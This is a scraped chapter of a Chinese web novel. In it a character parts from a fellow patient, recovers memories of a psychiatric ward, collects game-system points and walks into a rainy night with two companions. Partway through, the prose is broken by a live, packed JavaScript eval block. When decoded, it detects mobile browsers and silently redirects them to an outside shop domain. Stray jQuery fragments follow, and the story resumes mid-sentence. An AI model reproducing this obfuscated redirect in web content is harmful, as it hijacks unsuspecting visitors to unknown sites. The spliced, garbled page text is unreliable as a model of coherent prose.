文趣网 > 都市小说 > 无限流:千人戏 旧人劫 > 138.记忆在回拢
    沈妄渊并不担心自己,他担心的是那个自己费了这么多心思才拽到边缘的人,会因为心里那点拧巴又退回去。

    好在江亦澈虽然脾气倔,倒还听得进去劝,虽然过程是折腾了点,但结果总归没偏。

    沈妄渊抬手把他额前那几缕被风吹乱的发丝拨到一边,动作比平时慢了半拍,语气也难得放轻了些:“诡异世界里的事你不用担心,这里有我。等挣脱脑电重置图之后,他们会把你安排到别的地方去,你去找71号谢枳言”

    江亦澈对这个名字有印象,是先前火车站那个绿得冒泡的男诡异,不过知道大家都是被拽进来的人之后,那股敌意也就化得差不多了。

    江亦澈沉默了一瞬,开口问了一句:“他也跟我一样吗?他是什么病?”

    沈妄渊摇了摇头,语气里没有太多的起伏,像是在陈述一件早就看明白的事:“算不上病,只是太内向,被当成了病。”

    江亦澈像是被什么噎了一下:“内向也能被当病?”

    这个回答在他意料之外,又好像在他已经隐约见过的那些荒诞事里并不算太出格。

    有些父母把自己没走完的路硬生生铺到孩子脚下,一旦孩子偏离了那条轨道,就急着往上面贴个病的标签。

    江亦澈一时不知道该接什么。

    作为一个真正被确诊过精神分裂的人,他在这一刻竟然生出一种荒唐的庆幸,至少他是真的病了,而不是因为不够合群被送进来关着。

    沈妄渊没有把话说完。

    那些零碎的记忆里,他隐约记得谢枳言也是单亲家庭长大。

    江亦澈是幸运的,也是不幸的,他有一个不算宽裕却始终暖着的家,而谢枳言在被送进来之前,已经被那个家压得喘不过气。

    越沉默越被误解,最后被当成病塞进这里。

    他甚至跟沈妄渊一样,学过精神医学,却没法救自己,沈妄渊没有拿一个人的不幸去压另一个人的苦,只是有时候,这两条路挨得太近,会不自觉地被放在一起看。

    人一旦起了比较的心思,就容易生出几分侥幸,好像自己眼下的境遇就变得没那么糟了。

    江亦澈在那短暂的恍惚里,被一股说不上来的愧疚压了一下。

    沈妄渊拍了拍他的肩膀,语气放得轻了些:“跟他多聊聊也好。”

    沈妄渊记不太清那些具体的事了,可他记得谢枳言的眼睛,那种畏缩的、疲惫的、已经麻木到不会反抗的眼神,像晚秋的叶子挂在枝头,风一吹就落,落完就埋进土里。

    他还记得自己抱着病历本走过走廊的时候,偶尔会和谢枳言说上几句。

    对方回应的态度总是机械的,像一具精密运转却没有任何感情的仪器,你说什么他便做什么,不反驳也不挣扎。

    沈妄渊对谢枳言做的,和对江亦澈做的并没有什么不同。

    在谢枳言还没有被接上脑电重置图之前,他给过他一个任务,就短短几个字,“保护好自己,保护好伙伴”(59章)

    所以即便齐安阳什么都不记得了,他也会在某个瞬间做出不符合他状态的选择,会在积分和同伴之间多停一秒,会在挣脱的时候犹豫那么一下。

    也许在那些混乱的间隙里,他偶尔也会闪过一帧画面,想起自己曾经翻过精神医学的书,想起自己曾经也是站在白色走廊里、等着被人拉一把的人。

    沈妄渊轻轻晃了一下脑袋,把那帧画面从眼前摇散。

    那些碎片的边缘正在变得清晰,一点点露出原本的纹路。

    记忆在回拢,这是好事,但也意味着更多的重量正在落回他肩上。

    “总之,”沈妄渊把目光落在江亦澈脸上,语气平稳得像在说一件已经决定好的事,“你放心走,后面的事有我们。”

    江亦澈张了张嘴,那些话在喉咙里滚了一圈,最后落下来的只有一句:“沈…妄…渊,谢谢你。”

    声音里有江亦澈的粗粝,也有江亦冽的温和,两个人终于叠在了一起。

    道谢的声音渐渐淡下去,沈妄渊的口袋里忽然多了两样东西,沉甸甸的,隔着衣料还能摸到圆润的轮廓。

    一个枇杷,一个杏,并排挨着。

    系统的提示音和狩生屿结束的播报几乎是同一秒落下来的。

    通关奖励的积分到账之后,沈妄渊的账户里又多了一笔来自规则之力的两千万积分,系统接着播报了他已通关的两个关卡。

    他还没来得及多看几眼,脚底便像踩空了一样,整个人陷进柔软的沙发里,沉重感从后脑一路蔓延到四肢,像被一整片温水包裹住,眼皮再也撑不住了。

    意识坠入睡眠之前,他做了一个很长的梦,梦里他什么也没做,只是盯着一个数字在跳,一下,又一下,没有尽头地往上涨。

    系统:〈玩家余额结算:8309积分〉

    〈是否花费8009积分升级系统?〉

    系统的结算声在意识边缘落定,最后一行数字印在眼皮底下。

    雨声隔着窗子渗进来,细密而均匀,像有人在很远的地方慢慢翻书。

    沈妄渊睁开眼睛,暖黄的灯光洒在皮质沙发上,茶几上那个紫色礼盒还在原位,像从来没人动过。

    他坐起身,有什么东西从他手里滑落,掉在地毯上,发出一声极轻的闷响,他低头看去,是一个猫耳面具,混着枇杷和杏的气味,还没凉透。

    沈妄渊握着那只面具,在沙发上沉沉地睡了一觉。

    那七天的经历像水面上的一层薄油,浮着,却不太真切。

    可账户里涨上去的积分是实的,一条清晰的线把梦和醒之间连了起来。

    系统已经自动从手环形态收了回去,虚浮的光屏浮在他眼前,一行字正等着他确认。

    沈妄渊没多耽搁,直接点了是。

    〈是否升级系统升级需等待三天〉

    三天,不算长,他应了一声,把面具捡起来攥在手里,起身

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942180|211368||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    时余光扫过墙上的钟,已经过了晚上九点。

    沈妄渊推开那扇不算宽敞的办公室门,门口早已站着一位黑白马甲的服务生,像一座不会走动的钟,安静地候在那里。

    他出来得没什么声响,服务生脸上也没有浮现出任何意外,只是双手递回手机,然后转身引路。

    沈妄渊踏出南阳安居的大门时,夜风裹着湿意迎面扑来,雨还在下,不大,但密,路灯把水汽染成黄昏色。

    他站在台阶上看着车流来往,忽然有点恍惚,脚底像踩着一层踩不实的薄纱,整个人像是刚从一个很长的梦里浮上来。

    只有口袋里的重量是实在的,沉甸甸地坠着,让他还知道自己醒着。

    沈妄渊穿着来时的短袖,冷风裹着雨丝再一轮扑过来,他才像刚从梦里被人晃醒似的回过神来。

    车灯和雨雾把路面搅得一片模糊,马路对面有一撑伞的身影却异常清晰,高个子,深色风衣,长发侧扎在耳后,隔着整条街的距离和淅沥的雨幕,他耳垂上那枚耳钉还是被沈妄渊一眼认了出来。

    隔着朦胧的夜色,他能感觉到对面那道目光也落在他身上。

    那个人没急着动,看了他几秒,才撑着伞迈开步子,绕开地上的水洼,避过缓缓驶过的车流,一步一步朝这边走过来。

    还没等他走近,一道声音先一步落在了沈妄渊耳边,像是早就等在那里了。

    夜雨斜斜地落着,暖黄路灯把湿漉漉的路面铺成一片细碎的光斑。

    祁昭珩撑着伞站在几步开外,嘴角挂着一抹意味不明的笑,声音被雨声滤得有些远:“不是说好一起回家的吗?我可是答应了陪你上门去男友家吃火锅的。”

    他抬手拍了拍沈妄渊的肩,指尖还没落稳,就被另一只手从侧面掸开了。

    萧清晨不知何时已经站到了沈妄渊身侧,伞面举过两人头顶,把细密的雨丝挡在外面。

    “火锅是明天早上。”

    他的语气听不出什么波澜,动作却干脆利落,挽住沈妄渊的手,带着他转身就往来路走,步伐不紧不慢,却一步也没有停。

    整个过程里,他的视线始终没有往旁边偏过一分。

    祁昭珩撑着伞站在原地,看着那两道背影一前一后地穿过马路,走入那片被路灯拉长的光影里,嘴角的弧度加深了一些,却什么也没说。

    雨丝还在斜斜地落,祁昭珩站在路灯下,把伞沿微微抬高了一些,望着那两道融入夜色的背影,低低地说了一句:“还挺有意思。”

    萧清晨走出去一段,已经把身上的大衣脱了下来,不由分说地披到沈妄渊肩上:“穿上,雨夜冷。”

    沈妄渊没有推拒,嗯了一声,手伸进口袋里摸到那个圆滚滚的枇杷。

    他撕开皮,掰了一瓣放进嘴里,汁水在舌尖化开的那一瞬,甜味稳稳地铺开来,和之前江亦澈吃到的那个枇杷完全不同。

    他想了想,没说话,又掰了一瓣塞进嘴里。